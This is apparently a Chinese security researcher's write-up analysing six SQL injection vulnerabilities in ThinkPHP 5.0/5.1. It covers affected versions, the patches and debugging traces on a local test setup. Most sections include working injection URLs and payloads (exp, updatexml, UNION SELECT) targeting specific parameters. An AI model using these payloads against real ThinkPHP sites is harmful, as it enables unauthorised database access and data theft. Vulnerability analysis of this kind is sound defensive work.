TP5漏洞分析SQL注入篇
基础设施
大致扫一遍ThinkPHP官方的《完全开发手册》,知道有疑问时应该去哪个章节找就行。
- 通过composer拉取项目
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
- 调整
composer.json
中的依赖为需要测试的具体版本
1 | "require": { |
执行
composer update
更新项目创建mysql数据库
1 | create database tpdemo; |
配置
application/database.php
中对应参数将
application/config.php
中的app_debug
和app_trace
改为true
,用于回显错误编写
application/index/controller/Index.php
模块的代码构造漏洞输入点
SQL注入1
Builder类(thinkphp/library/think/db/Builder.php)的parseData方法,将未过滤的用户输入拼接进insert/update语句,存在SQL注入漏洞。
影响版本:
- 5.0.13<=ThinkPHP<=5.0.15
- 5.1.0<=ThinkPHP<=5.1.5
1 | http://localhost/tpdemo/public/index.php?s=/index/index/index&username[0]=inc&username[1]=exp(~(select * from(select user())a))&username[2]=1 |
漏洞分析
5.0.16版本更新说明中表示包含一个安全更新,具体看到改进inc/dec查询这个commit
将源码版本更新为5.0.15
,由thinkphp/library/think/db/Builder.php
的113行可知触发这部分逻辑需要传入一个数组:
全局搜索对应的parseData
方法,看到可以由718行的insert
方法或是由823行的update
方法触发。编写对应触发逻辑:
1 |
|
跟一下变量的传递过程可知,username
即对应我们需要触发的那段逻辑中switch语句的$val
,于是传入username[0]=dec&username[1]=a&username[2]=1
进行动态调试,中间经过parseKey
等函数后最终生成的sql语句:
显然str_replace
函数是一个功能性函数,而并非是安全过滤函数,最终使得用户提供的数据被直接拼接进SQL语句中。
因为username[0]
用于控制switch语句条件、username[2]
会经过floatval
函数强转,所以尝试通过username[1]
传入报错注入Payload:
username[0]=dec&username[1]=(extractvalue(1,concat(0x7e,(select user()),0x7e)))&username[2]=1
得到报错:1105 Only constant XPATH queries are supported
,XPATH系列用不了,换一种:
username[0]=dec&username[1]=exp(~(select * from(select user())a))&username[2]=1
最终拼接而成的SQL语句为:
"INSERT INTO `users` (`username`) VALUES (exp(~(select * from(select user())a))-1) "
update
方法类似就不再赘述了,需要注意的是官方修复时仅处理了inc
和dec
条件,但是并没有改动同样在switch语句中的exp
条件,原因是当username[0]
为exp
时,会被thinkphp/library/think/Request.php
中1096行的filterExp
方法替换为exp[空格]
,最终因为不满足switch语句的任意条件被结束。
SQL注入2
Builder类(thinkphp/library/think/db/Builder.php)的parseArrayData方法,将未过滤的用户输入拼接进insert/insertAll/update语句,存在SQL注入漏洞。
影响版本:
- 5.1.6<=ThinkPHP<=5.1.7、以及部分5.1.8
1 | http://localhost/tpdemo/public/index.php?s=/index/index/index&username[0]=point&username[1]=a&username[2]=exp(~(select * from(select user())a))^&username[3]=a |
漏洞分析
5.1.9版本更新说明中表示包含一个安全更新,具体看到改进mysql驱动这个commit
直接删掉了default
分支和parseArrayData
方法。将源码版本更新为5.1.17
,可以看到基本与SQL注入1逻辑相同。
全局搜索对应的parseData
方法,看到可由1030行的insert
方法、1063行的insertAll
方法或是由1134行的update
方法触发。需要编写的对应触发逻辑用SQL注入1的就行,而且多了一种触发方式:
1 | // insertAll方法接收一个二维数组 |
跟一下变量的传递过程可知,username
依然对应我们需要触发的那段逻辑中switch语句的$val
,这次进入default分支跟进parseArrayData
方法,看到需要让username[0]
为point
不然就会嗝屁:
因此传入username[0]=point&username[1]=a&username[2]=b&username[3]=c
进行动态调试,中间经过parseData
等函数后最终生成的sql语句:
方便起见直接在b
的位置传入报错注入Payload并闭合语句:
username[0]=point&username[1]=a&username[2]=exp(~(select * from(select user())a))^&username[3]=a
最终拼接而成的SQL语句为:
"INSERT INTO `users` (`username`) VALUES (exp(~(select * from(select user())a))^('a(a)')) "
update
和insertAll
方法同理
SQL注入3
Builder类(thinkphp/library/think/db/Builder.php)的parseWhereItem方法,将未过滤完全的用户输入拼接进where语句,存在SQL注入漏洞。
影响版本:
- 5.0.10
1 | http://localhost/tpdemo/public/index.php?s=/index/index/index&username[0]=not%20like&username[1][0]=%%&username[1][1]=anything&username[2]=)%20union%20select%20database(),user()%23 |
漏洞分析
5.0.11版本更新说明中表示包含一个安全更新,具体看到改进Request类filterExp方法这个commit,增加了对not like
的过滤。
凡是使用框架提供的请求变量获取方法(Request类param
方法及input
助手函数),都会经过这个filterExp
方法的过滤。针对not like
操作符,编写对应的where
方法触发逻辑:
1 | $username = request()->get('username/a'); |
相比前两个代码改动直接在漏洞点的补丁分析,这里的代码改动是在全局过滤函数的规则上,该如何根据这个变动敏感地嗅探到能被利用漏洞点呢?这是需要之后进一步思考的地方。
带着这个问题动态调试可以发现,输入流过程中有很多针对数组的解析函数,也会理解Payload要这样构造的原因:当然就是要满足一些if判断逻辑,让输入流进入到预期漏洞代码块了hhh(废话)
- 因为PHP7的原因,需要调整一下implode函数的参数顺序
一波拼接操作后生成的whereStr
为"(`username` NOT LIKE '%%' ) UNION SELECT DATABASE(),USER()# `username` NOT LIKE 'anything')"
这样就能让username
字段匹配不到NULL之外的值避免占据回显点位,同时注释掉后面被implode函数合并进来的副作用语句,避免语法错误。
最终带入数据库执行的SQL语句为:
官方在个版本里新引入了NOT LIKE
这个操作符,但是没加上对应的过滤规则导致了漏洞的产生。
SQL注入4
特定模式(exp
)下的SQL语句执行:
影响版本:
- 全版本
1 | http://localhost/tpdemo/public/index.php?s=/index/index/index&username=) union select database(),user()%23 |
漏洞分析
这里官方认为属于正常功能不作修复,因此不存在补丁更新对比。编写对应触发逻辑来调试分析一下:
1 | $username = request()->get('username/a'); |
流程与上一个洞类似就不赘述了,查看《ThinkPHP5.0完全开发手册》193页可以看到说明了exp
模式就是用作SQL语法模式的,所以我个人觉得官方不认为这是一个漏洞也在情理之中。
SQL注入5
Builder类(thinkphp/library/think/db/Builder.php)的parseOrder方法,将未过滤的用户输入拼接进select/update/delete语句,存在SQL注入漏洞。
影响版本:
- 5.1.16<=ThinkPHP<=5.1.22
1 | http://localhost/tpdemo/public/index.php?s=/index/index/index&orderby[id`|updatexml(1,concat(0x7e,(select user()),0x7e),1)%23]=1 |
漏洞分析
5.1.23版本更新说明中表示改进了order方法的数组方式解析增强安全性,具体看到改进order方法解析这个commit
增加了对)
和#
符号的判断。将源码版本更新为5.1.22
,全局搜索parseOrder
方法,看到可以由1037行的select方法、1170行的update方法或是由1206行的delete方法触发。编写对应触发逻辑:
1 | $orderby = request()->get('orderby'); |
这里传入Payload动态调试后可以发现拼接而成的SQL语句为:"DELETE FROM `users` WHERE `id` = :where_AND_id ORDER BY `id`|updatexml(1,concat(0x7e,(select user()),0x7e),1)#` "
为啥这里用的delete方法?因为在我的环境下前两种方法都会得到报错:1105 Only constant XPATH queries are supported
,而通过exp等函数整数溢出报错也无效,希望知道原因的师傅指点我一下。
SQL注入6
聚合查询方法将未过滤的用户输入拼接进SQL语句中,存在SQL注入漏洞。
影响版本:
- 5.0.0<=ThinkPHP<=5.0.21
- 5.1.3<=ThinkPHP<=5.1.25
1 | // 5.1.11~5.1.25需要改为 id`) |
漏洞分析
5.1.26版本更新说明中表示包含一个安全更新,具体看到改进mysql驱动和sqlsrv驱动这个commit
只允许字母、数字、下划线、点号、星号,不然抛出异常。
- 因为对框架不熟悉,想根据这类补丁对比找出具体的漏洞发生点实在是困难,得多学习历史漏洞积累经验才行。这里也由于暂未复现成功,只能先搁置一下了